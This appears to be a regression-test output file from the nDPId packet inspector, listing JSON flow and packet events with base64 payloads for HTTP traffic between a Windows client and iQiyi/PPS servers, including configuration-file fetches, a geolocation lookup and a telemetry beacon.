+00605{"flow_id":88,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1406,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353190,"pkt_ts_usec":235492,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"ABxCjnAxTF4M6gNlCABFAAC5FPVAADMGJVLKbA7bwKhzCABQxHdtLPk6vNGSM1AYANYfVAAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuNC43DQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA2OjI5IEdNVA0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCkNvbnRlbnQtTGVuZ3RoOiAwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1407,"source":"pps.pcap","alias":"nDPId-test","flow_id":90,"flow_packet_id":1,"flow_first_seen":1467353190634,"flow_last_seen":0,"flow_tot_l4_data_len":164,"flow_min_l4_data_len":164,"flow_max_l4_data_len":164,"flow_avg_l4_data_len":164,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"223.26.106.19","src_port":50508,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00602{"flow_id":90,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1407,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353190,"pkt_ts_usec":634365,"pkt_caplen":198,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":198,"pkt_l4_len":164,"pkt":"TF4M6gNlABxCjnAxCABFAAC4LnBAAIAGTvHAqHMI3xpqE8VMAFCjClS\/APxWfFAYQTf8ogAAR0VUIC9leHQvY29tbW9uL3Fpc3UyL1FZQWdlbnQuaW5pIEhUVFAvMS4xDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXANClVzZXItQWdlbnQ6IFFZQWdlbnRfcnVueHgNCkhvc3Q6IHN0YXRpYy5xaXlpLmNvbQ0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUNCg0K"} +00662{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1407,"source":"pps.pcap","alias":"nDPId-test","flow_id":90,"flow_packet_id":1,"flow_first_seen":1467353190634,"flow_last_seen":0,"flow_tot_l4_data_len":164,"flow_min_l4_data_len":164,"flow_max_l4_data_len":164,"flow_avg_l4_data_len":164,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"223.26.106.19","src_port":50508,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"static.qiyi.com","url":"static.qiyi.com\/ext\/common\/qisu2\/QYAgent.ini","code":0,"content_type":"","user_agent":"QYAgent_runxx"}} +00898{"flow_id":90,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1408,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353190,"pkt_ts_usec":638521,"pkt_caplen":420,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":420,"pkt_l4_len":386,"pkt":"ABxCjnAxTF4M6gNlCABFAAGWcOxAADgGU5ffGmoTwKhzCABQxUwA\/FZ8owpVT1AYAB8JQAAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IFFXUw0KRGF0ZTogRnJpLCAwMSBKdWwgMjAxNiAwNjowNjozMCBHTVQNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtDQpDb250ZW50LUxlbmd0aDogMjUNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkV4cGlyZXM6IEZyaSwgMDEgSnVsIDIwMTYgMDY6MzA6MDcgR01UDQpDYWNoZS1Db250cm9sOiBtYXgtYWdlPTM2MDANCkFjY2Vzcy1Db250cm9sLUFsbG93LU9yaWdpbjogKg0KWC1DYWNoZTogSElUIGZyb20gMTAuMTIxLjMzLjk3DQpYLUNhY2hlOiBISVQgZnJvbSAyMjMuMjYuMTA2LjE5DQpBY2NlcHQtUmFuZ2VzOiBieXRlcw0KDQpbUVlBZ2VudF0NCnY9MA0KcD0xMDANCmU9"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1409,"source":"pps.pcap","alias":"nDPId-test","flow_id":91,"flow_packet_id":1,"flow_first_seen":1467353190892,"flow_last_seen":0,"flow_tot_l4_data_len":129,"flow_min_l4_data_len":129,"flow_max_l4_data_len":129,"flow_avg_l4_data_len":129,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"106.38.219.107","src_port":50509,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00558{"flow_id":91,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1409,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353190,"pkt_ts_usec":892847,"pkt_caplen":163,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":163,"pkt_l4_len":129,"pkt":"TF4M6gNlABxCjnAxCABFAACVLoRAAIAGUpzAqHMIaibba8VNAFAdei0\/k1iI9FAYQTd0xwAAR0VUIC9jaXR5anNvbiBIVFRQLzEuMQ0KVXNlci1BZ2VudDogUVlBZ2VudF9ydW54eA0KSG9zdDogaXBsb2NhdGlvbi5nZW8ucWl5aS5jb20NCkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlDQoNCg=="} +00656{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1409,"source":"pps.pcap","alias":"nDPId-test","flow_id":91,"flow_packet_id":1,"flow_first_seen":1467353190892,"flow_last_seen":0,"flow_tot_l4_data_len":129,"flow_min_l4_data_len":129,"flow_max_l4_data_len":129,"flow_avg_l4_data_len":129,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"106.38.219.107","src_port":50509,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"iplocation.geo.qiyi.com","url":"iplocation.geo.qiyi.com\/cityjson","code":0,"content_type":"","user_agent":"QYAgent_runxx"}} +01001{"flow_id":91,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1410,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353190,"pkt_ts_usec":978488,"pkt_caplen":497,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":497,"pkt_l4_len":463,"pkt":"ABxCjnAxTF4M6gNlCABFAAHjK+5AADIGoeRqJttrwKhzCABQxU2TWIj0HXotrFAYAOXEmAAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG9wZW5yZXN0eQ0KRGF0ZTogRnJpLCAwMSBKdWwgMjAxNiAwNjowNjozMCBHTVQNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNClRyYW5zZmVyLUVuY29kaW5nOiBjaHVua2VkDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpDb250ZW50LVR5cGU6IGNoYXJzZXQ9dXRmLTgNCg0KZjINCnZhciByZXR1cm5JcENpdHkgPXsiY29kZSI6IkEwMDAwMCIsICJkYXRhIjogeyJpcCI6IjExOC4xNjMuOC45MCIsICJpc3AiOiLkuK3ljY7nlLXkv6EiLCAiY291bnRyeSI6IuS4reWbveWkp+mZhiIsICJwcm92aW5jZSI6IuWPsOa5viIsICJjaXR5IjoiTm9uZSIsICJpc3BfaWQiOjY5LCAiY291bnRyeV9pZCI6NDgsICJwcm92aW5jZV9pZCI6MjI4LCAiY2l0eV9pZCI6MjI4MDAwLCAibG9jYXRpb25faWQiOjY5MjI4MDAwfX0KDQo="} +00414{"flow_id":91,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1411,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353190,"pkt_ts_usec":978489,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":25,"pkt":"ABxCjnAxTF4M6gNlCABFAAAtK+9AADIGo5lqJttrwKhzCABQxU2TWIqvHXotrFAYAOXCuQAAMA0KDQoA"} +00577{"flow_id":76,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1412,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353191,"pkt_ts_usec":56486,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6cBiLE+IdCABFAAChI6sAAAER39jAqAUm7\/\/\/+uYRB2wAjbWjTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1413,"source":"pps.pcap","alias":"nDPId-test","flow_id":92,"flow_packet_id":1,"flow_first_seen":1467353191500,"flow_last_seen":0,"flow_tot_l4_data_len":164,"flow_min_l4_data_len":164,"flow_max_l4_data_len":164,"flow_avg_l4_data_len":164,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"223.26.106.20","src_port":50766,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00601{"flow_id":92,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1413,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353191,"pkt_ts_usec":500926,"pkt_caplen":198,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":198,"pkt_l4_len":164,"pkt":"TF4M6gNlABxCjnAxCABFAAC4L9BAAIAGTZDAqHMI3xpqFMZOAFCUEYDiYZCIJlAYQTcJ9QAAR0VUIC9leHQvY29tbW9uL3Fpc3UyL21hc2ZsYWcuaW5pIEhUVFAvMS4xDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXANClVzZXItQWdlbnQ6IG1hc2ZsYWdfcnVueHgNCkhvc3Q6IHN0YXRpYy5xaXlpLmNvbQ0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUNCg0K"} +00662{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1413,"source":"pps.pcap","alias":"nDPId-test","flow_id":92,"flow_packet_id":1,"flow_first_seen":1467353191500,"flow_last_seen":0,"flow_tot_l4_data_len":164,"flow_min_l4_data_len":164,"flow_max_l4_data_len":164,"flow_avg_l4_data_len":164,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"223.26.106.20","src_port":50766,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"static.qiyi.com","url":"static.qiyi.com\/ext\/common\/qisu2\/masflag.ini","code":0,"content_type":"","user_agent":"masflag_runxx"}} +00998{"flow_id":92,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1414,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353191,"pkt_ts_usec":505501,"pkt_caplen":493,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":493,"pkt_l4_len":459,"pkt":"ABxCjnAxTF4M6gNlCABFAAHfpuJAADgGHVffGmoUwKhzCABQxk5hkIgmlBGBclAYAB+\/UwAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IFFXUw0KRGF0ZTogRnJpLCAwMSBKdWwgMjAxNiAwNjowNjozMSBHTVQNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtDQpDb250ZW50LUxlbmd0aDogOTgNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkV4cGlyZXM6IEZyaSwgMDEgSnVsIDIwMTYgMDY6MTI6MTAgR01UDQpDYWNoZS1Db250cm9sOiBtYXgtYWdlPTM2MDANCkFjY2Vzcy1Db250cm9sLUFsbG93LU9yaWdpbjogKg0KWC1DYWNoZTogSElUIGZyb20gMTAuMTIxLjMzLjk3DQpYLUNhY2hlOiBISVQgZnJvbSAyMjMuMjYuMTA2LjIwDQpBY2NlcHQtUmFuZ2VzOiBieXRlcw0KDQpbbWFzZmxhZ10NCnY9Mg0KcD00MA0KZT2xsb6pL8nPuqMNCmFwcD1maWRkbGVyLHdpcmVzaGFyayxIdHRwV2F0Y2gsSHR0cFdhdGNoIFN0dWRpbyxIdHRwQW5hbHl6ZXINCg=="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1415,"source":"pps.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":1,"flow_first_seen":1467353191521,"flow_last_seen":0,"flow_tot_l4_data_len":164,"flow_min_l4_data_len":164,"flow_max_l4_data_len":164,"flow_avg_l4_data_len":164,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"223.26.106.20","src_port":50767,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00601{"flow_id":93,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1415,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353191,"pkt_ts_usec":521215,"pkt_caplen":198,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":198,"pkt_l4_len":164,"pkt":"TF4M6gNlABxCjnAxCABFAAC4L9RAAIAGTYzAqHMI3xpqFMZPAFCekgJEnvl6klAYQTcvHQAAR0VUIC9leHQvY29tbW9uL3Fpc3UyL21hc2F1dG8uaW5pIEhUVFAvMS4xDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXANClVzZXItQWdlbnQ6IG1hc2F1dG9fcnVueHgNCkhvc3Q6IHN0YXRpYy5xaXlpLmNvbQ0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUNCg0K"} +00662{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1415,"source":"pps.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":1,"flow_first_seen":1467353191521,"flow_last_seen":0,"flow_tot_l4_data_len":164,"flow_min_l4_data_len":164,"flow_max_l4_data_len":164,"flow_avg_l4_data_len":164,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"223.26.106.20","src_port":50767,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"static.qiyi.com","url":"static.qiyi.com\/ext\/common\/qisu2\/masauto.ini","code":0,"content_type":"","user_agent":"masauto_runxx"}} +01044{"flow_id":93,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1416,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353191,"pkt_ts_usec":524481,"pkt_caplen":526,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":526,"pkt_l4_len":492,"pkt":"ABxCjnAxTF4M6gNlCABFAAIAVHFAADgGb6ffGmoUwKhzCABQxk+e+XqSnpIC1FAYAB\/e1QAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IFFXUw0KRGF0ZTogRnJpLCAwMSBKdWwgMjAxNiAwNjowNjozMSBHTVQNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtDQpDb250ZW50LUxlbmd0aDogMTMwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpFeHBpcmVzOiBGcmksIDAxIEp1bCAyMDE2IDA2OjUwOjIzIEdNVA0KQ2FjaGUtQ29udHJvbDogbWF4LWFnZT0zNjAwDQpBY2Nlc3MtQ29udHJvbC1BbGxvdy1PcmlnaW46ICoNClgtQ2FjaGU6IEhJVCBmcm9tIDEwLjEyMS4zMy45Nw0KWC1DYWNoZTogSElUIGZyb20gMjIzLjI2LjEwNi4yMA0KQWNjZXB0LVJhbmdlczogYnl0ZXMNCg0KW21hc2F1dG9dDQp2PTENCnA9MQ0KZT2xsb6pL8nPuqMvuePW3S\/J7tvaDQpzPb2ty9Uv1eO9rS\/JvbarL7rTxM8NCmFwcD1maWRkbGVyLHdpcmVzaGFyayxIdHRwV2F0Y2gsSHR0cFdhdGNoIFN0dWRpbyxIdHRwQW5hbHl6ZXINCg=="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1417,"source":"pps.pcap","alias":"nDPId-test","flow_id":94,"flow_packet_id":1,"flow_first_seen":1467353191538,"flow_last_seen":0,"flow_tot_l4_data_len":230,"flow_min_l4_data_len":230,"flow_max_l4_data_len":230,"flow_avg_l4_data_len":230,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"36.110.220.15","src_port":50765,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00692{"flow_id":94,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1417,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353191,"pkt_ts_usec":538427,"pkt_caplen":264,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":264,"pkt_l4_len":230,"pkt":"TF4M6gNlABxCjnAxCABFAAD6L9ZAAIAGlfnAqHMIJG7cD8ZNAFCivUMktEgQ8FAY\/\/DARAAAR0VUIC90bXBzdGF0cy5naWY\/bWV0aG9kPXFpdWJpdGVyJm9zPXdpbmRvd3MtNi4xLjc2MDFfc3AxJnV1aWQ9MzUwQzNGMUFDNzVENDBiYzkwRDYwMkRBNEU2N0E3MkQmc29mdHZlcnNpb249MS4wLjAuMSZzb3VyY2U9cHBzJnRhc2t0eXBlPWdldHRhc2tpbmZvIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBRSVlpQW5nZW50DQpIb3N0OiBtc2cudmlkZW8ucWl5aS5jb20NCg0K"} +00776{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1417,"source":"pps.pcap","alias":"nDPId-test","flow_id":94,"flow_packet_id":1,"flow_first_seen":1467353191538,"flow_last_seen":0,"flow_tot_l4_data_len":230,"flow_min_l4_data_len":230,"flow_max_l4_data_len":230,"flow_avg_l4_data_len":230,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"36.110.220.15","src_port":50765,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"msg.video.qiyi.com","url":"msg.video.qiyi.com\/tmpstats.gif?method=qiubiter&os=windows-6.1.7601_sp1&uuid=350C3F1AC75D40bc90D602DA4E67A72D&softversion=1.0.0.1&source=pps&tasktype=gettaskinfo","code":0,"content_type":"","user_agent":"QIYiAngent"}} +00605{"flow_id":93,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1418,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353191,"pkt_ts_usec":556046,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"TF4M6gNlABxCjnAxCABFAAC5L9hAAIAGTYfAqHMI3xpqFMZPAFCekgLUnvl8alAYQMHSJwAAR0VUIC9leHQvY29tbW9uL3Fpc3UyL21hc3JlY29tLmluaSBIVFRQLzEuMQ0KQWNjZXB0LUVuY29kaW5nOiBnemlwDQpVc2VyLUFnZW50OiBtYXNhdXRvX3J1bnh4DQpIb3N0OiBzdGF0aWMucWl5aS5jb20NCkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlDQoNCg=="} +01042{"flow_id":93,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1419,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353191,"pkt_ts_usec":560090,"pkt_caplen":527,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":527,"pkt_l4_len":493,"pkt":"ABxCjnAxTF4M6gNlCABFAAIBVHRAADgGb6PfGmoUwKhzCABQxk+e+XxqnpIDZVAYACGRVQAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IFFXUw0KRGF0ZTogRnJpLCAwMSBKdWwgMjAxNiAwNjowNjozMSBHTVQNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtDQpDb250ZW50LUxlbmd0aDogMTMxDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpFeHBpcmVzOiBGcmksIDAxIEp1bCAyMDE2IDA3OjA0OjE1IEdNVA0KQ2FjaGUtQ29udHJvbDogbWF4LWFnZT0zNjAwDQpBY2Nlc3MtQ29udHJvbC1BbGxvdy1PcmlnaW46ICoNClgtQ2FjaGU6IEhJVCBmcm9tIDEwLjEyMS4zMy45OA0KWC1DYWNoZTogSElUIGZyb20gMjIzLjI2LjEwNi4yMA0KQWNjZXB0LVJhbmdlczogYnl0ZXMNCg0KW21hc3JlY29tXQ0Kdj0xDQpwPTANCmU9sbG+qS\/Jz7qjL7nj1t0vye7b2g0Kcz29rcvVL9Xjva0vyb22qy+608TPDQphcHA9ZmlkZGxlcix3aXJlc2hhcmssSHR0cFdhdGNoLEh0dHBXYXRjaCBTdHVkaW8sSHR0cEFuYWx5emVyDQo="} +00605{"flow_id":93,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1420,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353191,"pkt_ts_usec":575569,"pkt_caplen":201,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":201,"pkt_l4_len":167,"pkt":"TF4M6gNlABxCjnAxCABFAAC7L99AAIAGTX7AqHMI3xpqFMZPAFCekgNlnvl+Q1AYQEpbxAAAR0VUIC9leHQvY29tbW9uL3Fpc3UyL21hc3JlY29tdG4uaW5pIEhUVFAvMS4xDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXANClVzZXItQWdlbnQ6IG1hc2F1dG9fcnVueHgNCkhvc3Q6IHN0YXRpYy5xaXlpLmNvbQ0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUNCg0K"} +01047{"flow_id":93,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1421,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353191,"pkt_ts_usec":579482,"pkt_caplen":529,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":529,"pkt_l4_len":495,"pkt":"ABxCjnAxTF4M6gNlCABFAAIDVHdAADgGb57fGmoUwKhzCABQxk+e+X5DnpID+FAYACMYbQAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IFFXUw0KRGF0ZTogRnJpLCAwMSBKdWwgMjAxNiAwNjowNjozMSBHTVQNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtDQpDb250ZW50LUxlbmd0aDogMTMzDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpFeHBpcmVzOiBGcmksIDAxIEp1bCAyMDE2IDA2OjM3OjUwIEdNVA0KQ2FjaGUtQ29udHJvbDogbWF4LWFnZT0zNjAwDQpBY2Nlc3MtQ29udHJvbC1BbGxvdy1PcmlnaW46ICoNClgtQ2FjaGU6IEhJVCBmcm9tIDEwLjEyMS4zMy45OA0KWC1DYWNoZTogSElUIGZyb20gMjIzLjI2LjEwNi4yMA0KQWNjZXB0LVJhbmdlczogYnl0ZXMNCg0KW21hc3JlY29tdG5dDQp2PTINCnA9NQ0KZT2xsb6pL8nPuqMvuePW3S\/J7tvaDQpzPb2ty9Uv1eO9rS\/JvbarL7rTxM8NCmFwcD1maWRkbGVyLHdpcmVzaGFyayxIdHRwV2F0Y2gsSHR0cFdhdGNoIFN0dWRpbyxIdHRwQW5hbHl6ZXINCg=="} +00609{"flow_id":93,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1422,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353191,"pkt_ts_usec":603072,"pkt_caplen":202,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":202,"pkt_l4_len":168,"pkt":"TF4M6gNlABxCjnAxCABFAAC8L+dAAIAGTXXAqHMI3xpqFMZPAFCekgP4nvmAHlAYQTeOdQAAR0VUIC9leHQvY29tbW9uL3Fpc3UyL21hczM2MHNjb3JlLmluaSBIVFRQLzEuMQ0KQWNjZXB0LUVuY29kaW5nOiBnemlwDQpVc2VyLUFnZW50OiBtYXNhdXRvX3J1bnh4DQpIb3N0OiBzdGF0aWMucWl5aS5jb20NCkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlDQoNCg=="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1423,"source":"pps.pcap","alias":"nDPId-test","flow_id":95,"flow_packet_id":1,"flow_first_seen":1467353191604,"flow_last_seen":0,"flow_tot_l4_data_len":164,"flow_min_l4_data_len":164,"flow_max_l4_data_len":164,"flow_avg_l4_data_len":164,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"223.26.106.19","src_port":50768,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00601{"flow_id":95,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1423,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353191,"pkt_ts_usec":604276,"pkt_caplen":198,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":198,"pkt_l4_len":164,"pkt":"TF4M6gNlABxCjnAxCABFAAC4L+lAAIAGTXjAqHMI3xpqE8ZQAFAEnujgm7SOJVAYQTfnOwAAR0VUIC9leHQvY29tbW9uL3Fpc3UyL21hc2Jsb2cuaW5pIEhUVFAvMS4xDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXANClVzZXItQWdlbnQ6IG1hc2Jsb2dfcnVueHgNCkhvc3Q6IHN0YXRpYy5xaXlpLmNvbQ0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUNCg0K"} +00662{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1423,"source":"pps.pcap","alias":"nDPId-test","flow_id":95,"flow_packet_id":1,"flow_first_seen":1467353191604,"flow_last_seen":0,"flow_tot_l4_data_len":164,"flow_min_l4_data_len":164,"flow_max_l4_data_len":164,"flow_avg_l4_data_len":164,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"223.26.106.19","src_port":50768,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"static.qiyi.com","url":"static.qiyi.com\/ext\/common\/qisu2\/masblog.ini","code":0,"content_type":"","user_agent":"masblog_runxx"}} +00606{"flow_id":94,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1424,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353191,"pkt_ts_usec":606497,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"ABxCjnAxTF4M6gNlCABFAAC5GMJAAC4G\/04kbtwPwKhzCABQxk20SBDwor1D9lAYPLgN5wAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuOC4wDQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA2OjMxIEdNVA0KQ29udGVudC1UeXBlOiBpbWFnZS9naWYNCkNvbnRlbnQtTGVuZ3RoOiAwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} 